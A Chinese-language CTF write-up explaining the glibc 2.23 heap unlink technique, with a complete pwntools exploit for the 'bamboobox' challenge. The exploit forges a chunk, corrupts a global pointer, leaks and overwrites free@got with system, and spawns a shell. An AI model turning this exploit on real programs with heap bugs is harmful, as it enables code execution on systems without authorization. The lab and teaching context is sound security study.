unlink

简单说一下吧,不说太多了,比较累了
总结一下
(只讨论2.23版本的libc下的unlink)

利用条件

一个指向heap的指针,在bss段上之类的,最好没开pie,就比较轻松点儿
然后还需要堆溢出或者UAF,目的都是改写smallbin 或是 unsorted bin 的 fd 和 bk 指针

效果

使得已指向chunk 的指针 ptr 变为 ptr - 0x18

通用思路

设指向可 UAF chunk 的指针的地址为 ptr
修改 fd 为 ptr - 0x18
修改 bk 为 ptr - 0x10
触发 unlink

更详细的思路:
以能够进行堆溢出的场景下说明:
1,申请三个堆块012,0用来溢出,1用来作为unsorted bin,2用来保护
2,伪造chunk0,伪造fd和bk之类的,然后利用堆溢出来改写chunk1的prevsize和size的inuse
3,free1,触发unlink
4,找bss段上的全局指针,看看周围怎么利用,比如改got表

解题

逆向

不看了,简单逆向,漏洞位于在edit中,可以任意修改长度,老漏洞了
思路,伪造chunk,然后unlink到bss处,改写heaparray到free@got,然后修改为system
下图为atoi,一开始是修改atoi为system,然后输入sh拿到shell,本地可以打通,但是远程就不行了,qswl
还有libcsearcher,我的libcsearcher像坨屎一样误差就nima离谱,草

exp

from pwn import *
from LibcSearcher import *
#r=process('bamboobox')
#r=remote('node3.buuoj.cn',28011)
elf=ELF('../hitcontraining_unlink/bamboobox')
r = process('../hitcontraining_unlink/bamboobox')

def alloc(length,context):
    r.recvuntil("Your choice:")
    r.sendline("2")
    r.recvuntil("Please enter the length of item name:")
    r.sendline(str(length))
    r.recvuntil("Please enter the name of item:")
    r.send(context)

def edit(idx,length,context):
    r.recvuntil("Your choice:")
    r.sendline("3")
    r.recvuntil("Please enter the index of item:")
    r.sendline(str(idx))
    r.recvuntil("Please enter the length of item name:")
    r.sendline(str(length))
    r.recvuntil("Please enter the new name of the item:")
    r.send(context)

def free(idx):
    r.recvuntil("Your choice:")
    r.sendline("4")
    r.recvuntil("Please enter the index of item:")
    r.sendline(str(idx))

def show():
    r.sendlineafter("Your choice:", "1")

alloc(0x30,'bbbb')
alloc(0x30,'bbbb')
alloc(0x80,'cccc')
alloc(0x20,'/bin/sh\x00')

glo=0x6020c8+0x10
fd=glo-0x18
bk=glo-0x10

payload=p64(0)+p64(0x31)+p64(fd)+p64(bk)+b'a'*0x10+p64(0x30)+p64(0x90)
edit(1,len(payload),payload)
free(2)
free_got=elf.got['free']
log.info("free_got:%x",free_got)
payload1=p64(0)+p64(0)+p64(0x30)+p64(free_got)
#print payload1
edit(1,len(payload),payload1)
show()
#log.info("got:%s",r.recv())

free_addr=u64(r.recvuntil("\x7f")[-6: ].ljust(8, b'\x00'))
log.info("free_addr:%x",free_addr)
libc=LibcSearcher('free',free_addr)
libc_base=free_addr-libc.dump('free')
log.info("libc_addr:%x",libc_base)
system_addr=libc_base+libc.dump('system')
log.info("system_addr:%x",system_addr)
edit(1,0x8,p64(system_addr))
pause()
free(3)
r.interactive()

被环境恶心死了,本地的cccc